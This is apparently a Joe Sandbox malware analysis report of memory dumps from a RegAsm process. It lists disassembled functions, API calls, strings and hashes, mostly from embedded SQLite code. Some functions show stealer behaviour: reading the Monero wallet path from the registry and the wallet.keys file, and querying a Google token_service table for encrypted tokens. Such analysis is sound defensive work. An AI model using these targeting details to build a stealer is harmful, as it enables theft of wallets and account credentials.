Opcode Fuzzy Hash: 205c74e4c884be0eda76af671c4c159afdd2d18b7ba678e284a3c9e1021343f4
Instruction Fuzzy Hash: 06B1F0B5E003459BFB108F24DC46BDF77A8AF94317F04492CE9968B3A1E775E44887A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BA170 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

malformed JSON, xrefs: 1B4BA283
JSON path error near '%q', xrefs: 1B4BA3D7

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: JSON path error near '%q'$malformed JSON
API String ID: 0-560895927
Opcode ID: 793a1a69116082c25487b29baad578ad72e2b69d4091d8ab143b7b8c6bda3048
Instruction ID: 1efddd112fe1bfa709b782c4c66d4232d4f05e5cb5b84316d43487655c34d5cc
Opcode Fuzzy Hash: 793a1a69116082c25487b29baad578ad72e2b69d4091d8ab143b7b8c6bda3048
Instruction Fuzzy Hash: 3DA18CB1A003019BDB14CF24D945BE6BBE0EF80305F14C52DE5858B342EB36E94ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C3D20 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 223COMMON

Download Yara Rule

Strings

%Q., xrefs: 1B4C3E11
=%Q, xrefs: 1B4C3E7F
PRAGMA , xrefs: 1B4C3DC5

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %Q.$=%Q$PRAGMA
API String ID: 0-2099833060
Opcode ID: c66632ab4d62db9307493aa41e909b56473397b1398967f7854cfe7bae6d8a3f
Instruction ID: 176d6a21409dab7f890fe61640c949827919f182da3b9905dea6d45277d2cd7c
Opcode Fuzzy Hash: c66632ab4d62db9307493aa41e909b56473397b1398967f7854cfe7bae6d8a3f
Instruction Fuzzy Hash: F87105799043019BDB00DF24DC85BDBB7A8AF94B15F04896DFC859B341D335EA49CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401C6B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 179stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401C70
memset.MSVCRT ref: 00401C8E

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
Part of subcall function 00401000: RegOpenKeyExA.ADVAPI32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
Part of subcall function 00401000: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

lstrcat.KERNEL32(?,00000000), ref: 00401CB2
lstrlenA.KERNEL32(?,?,?,?,?,?,?), ref: 00401CBF
lstrcat.KERNEL32(?,.keys), ref: 00401CDA

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

memset.MSVCRT ref: 00401E9D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Strings

wallet_path, xrefs: 00401C93
\Monero\wallet.keys, xrefs: 00401D03
SOFTWARE\monero-project\monero-core, xrefs: 00401C98
.keys, xrefs: 00401CCE

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$File$AllocCreateHeaplstrlenmemset$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1518627966-218353709
Opcode ID: b546d9b61220f5c2c2ebf37daa28290af55609e5586465d455a554e70a57de66
Instruction ID: 74627ad0a19d4cd4a401f8f025dee815ee59ebe6216bd5f6572279d46b23df22
Opcode Fuzzy Hash: b546d9b61220f5c2c2ebf37daa28290af55609e5586465d455a554e70a57de66
Instruction Fuzzy Hash: CA716CB1D00248AADB04EBE5D846FDDBBB8AF19308F14446EF545B31D2EB781718CB69

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AB980 Relevance: 16.7, APIs: 11, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f92ecb2627b60c19c78aae7684a3110ede191b5b1008896401a46510ffb368
Instruction ID: c5e71f2508bfd23345cfb458f5035821de74e81fe894bf9ecb532a9bc0b19a39
Opcode Fuzzy Hash: 35f92ecb2627b60c19c78aae7684a3110ede191b5b1008896401a46510ffb368
Instruction Fuzzy Hash: D08189748043829BDB018F30C9517EABBA0BFA5200F44CD6CE8D79B79AD735D996C782

Uniqueness

Uniqueness Score: -1.00%

Function 1B4EF600 Relevance: 16.7, APIs: 11, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a70c7127cf5330d89c7d45b3115e672d80e76ffd15e8db3879d2d7a1d690e5da
Instruction ID: d4147f8a7127cf494b3314631bdc4fd5b9b32beeab778344905c85bec403dc11
Opcode Fuzzy Hash: a70c7127cf5330d89c7d45b3115e672d80e76ffd15e8db3879d2d7a1d690e5da
Instruction Fuzzy Hash: B651C375A043016BEB00EF14EC81BAFB7E8EF88715F40453DF98497241E739AE5987A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B511940 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

block, xrefs: 1B511A90
misuse, xrefs: 1B511B21
%s at line %d of [%.10s], xrefs: 1B511B26
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B511B17

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$block$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-4016964285
Opcode ID: 500e1a90a1e9c42f2d642bf8cd508aed1ec0e418815adfd0eb7f0ffd3bd2b340
Instruction ID: b3c4a30e156d56651efd8ebcfd679563059808a1497fe97e2a0e14bd7be89a98
Opcode Fuzzy Hash: 500e1a90a1e9c42f2d642bf8cd508aed1ec0e418815adfd0eb7f0ffd3bd2b340
Instruction Fuzzy Hash: D1C1D2B1D002119FFB10DF26D884ADA7BA8FF54714F0585A9FC899F201E731D954CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00407F13 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 308stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00407F18

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

lstrlenA.KERNEL32(00000000), ref: 0040813A

Part of subcall function 0040FD58: LocalAlloc.KERNEL32(00000040,004120FA,00000001,00000000,?,004120F9,00000000,00000000), ref: 0040FD71

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040815F
lstrlenA.KERNEL32(00000000), ref: 00408249
lstrlenA.KERNEL32(00000000), ref: 0040825D

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 004063FD: _EH_prolog.MSVCRT ref: 00406402
Part of subcall function 004063FD: memcmp.MSVCRT ref: 00406428
Part of subcall function 004063FD: memset.MSVCRT ref: 00406457
Part of subcall function 004063FD: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00000000,00000000), ref: 0040648C

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 004080B6
AccountId, xrefs: 00408159
GoogleAccounts, xrefs: 00407FCC
GoogleAccounts, xrefs: 00407F49

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 832884763-1713091031
Opcode ID: d72b6939c06a14bef754848363fa9dafce077152f944b84ac79f95e0184815bb
Instruction ID: 25686ab6400ac8ecb5d7b03c8e8e1ed9899d309d5e80ea8562dc234810ff2347
Opcode Fuzzy Hash: d72b6939c06a14bef754848363fa9dafce077152f944b84ac79f95e0184815bb
Instruction Fuzzy Hash: B3C17E71804248EACB05EBE6D955FEDBBB4AF19308F1044AEF442731C2DF791B18DA25

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BFED0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 257COMMON

Download Yara Rule

Strings

abort due to ROLLBACK, xrefs: 1B4C0068
unknown error, xrefs: 1B4C003E
another row available, xrefs: 1B4C0076, 1B4C0081
no more rows available, xrefs: 1B4C006F
%llu, xrefs: 1B4BFF3C
%llu, xrefs: 1B4BFFF7

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %llu$%llu$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 0-1539118790
Opcode ID: 08833c0286972de4f244b6ea21b9700f1a2939116c17ad878366eb01acb12afe
Instruction ID: c73d62edbc66c866547ad38bd1bab4f33b5fe0e8cebb8b2636ae3a04152bae61
Opcode Fuzzy Hash: 08833c0286972de4f244b6ea21b9700f1a2939116c17ad878366eb01acb12afe
Instruction Fuzzy Hash: 77910175A043009BCB049F19DC94BEBB7A1BB8A714F04852DF9899B350D73BE84ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 1B5C70B0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5C7217
API called with finalized prepared statement, xrefs: 1B5C7201
invalid rootpage, xrefs: 1B5C715C, 1B5C730E
%s at line %d of [%.10s], xrefs: 1B5C721C
orphan index, xrefs: 1B5C72C2
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5C720D

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid rootpage$misuse$orphan index
API String ID: 0-165706444
Opcode ID: 9c23336a50122a9782f515bbbb17ec943573cd5c8130d37c0b7c9da49d8c0176
Instruction ID: 308719755d87ffb50c5e0d4852b2f846ea79f8776c4b40046fa9bce40df9d192
Opcode Fuzzy Hash: 9c23336a50122a9782f515bbbb17ec943573cd5c8130d37c0b7c9da49d8c0176
Instruction Fuzzy Hash: 8C6146B5A003806BFF218FB0EC81FDB77AEEF91216F144469EC9496642E721E154C3B2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B3A50 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 172COMMON

Download Yara Rule

Strings

cannot insert, xrefs: 1B4B3BF1, 1B4B3C52
bad page number, xrefs: 1B4B3BE3
cannot delete, xrefs: 1B4B3A82
no such schema, xrefs: 1B4B3BEA
read-only, xrefs: 1B4B3A71
bad page value, xrefs: 1B4B3BDC

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: bad page number$bad page value$cannot delete$cannot insert$no such schema$read-only
API String ID: 0-1499782803
Opcode ID: 137b8162fa76cb6918ecb140c27fe4497d10a56bfb2856aba45fd4260253d0cb
Instruction ID: 002935d8cdfd81e9af8b0b686f0decd75acdea77ae72ad11c568d030d68f4c16
Opcode Fuzzy Hash: 137b8162fa76cb6918ecb140c27fe4497d10a56bfb2856aba45fd4260253d0cb
Instruction Fuzzy Hash: 13512B72A082109BDB04CF16DAC6BD677A4AF90254F15C86DFD898B306E736E845C771

Uniqueness

Uniqueness Score: -1.00%

Function 1B5CB0E0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 117COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5CB112
NULL, xrefs: 1B5CB0F4
invalid, xrefs: 1B5CB13E
API call with %s database connection pointer, xrefs: 1B5CB0F9
unopened, xrefs: 1B5CB145
%s at line %d of [%.10s], xrefs: 1B5CB117
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5CB108

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$NULL$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unopened
API String ID: 0-538076154
Opcode ID: 0a97a5e63e243813dc7bf8a2b6428af072308b2d1ff2f0e35d1b0099f6867413
Instruction ID: 15695934879877dd91a13dce3ee07cc4415ae502446452b0bd502a08d14a07f7
Opcode Fuzzy Hash: 0a97a5e63e243813dc7bf8a2b6428af072308b2d1ff2f0e35d1b0099f6867413
Instruction Fuzzy Hash: C8319B7590474CABFB111FE49C007DB7BAF9F85225F000A2DE891E2101E771EA059393

Uniqueness

Uniqueness Score: -1.00%

Function 0040D284 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 100stringmemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D289
lstrlenA.KERNEL32(?,6CBD7FA0,75AA5460,00000000), ref: 0040D2AD
strchr.MSVCRT ref: 0040D2BF
strchr.MSVCRT ref: 0040D2E3
lstrlenA.KERNEL32(?), ref: 0040D301
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0040D30E
HeapAlloc.KERNEL32(00000000), ref: 0040D315
strcpy_s.MSVCRT ref: 0040D350

Strings

0123456789ABCDEF, xrefs: 0040D297

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
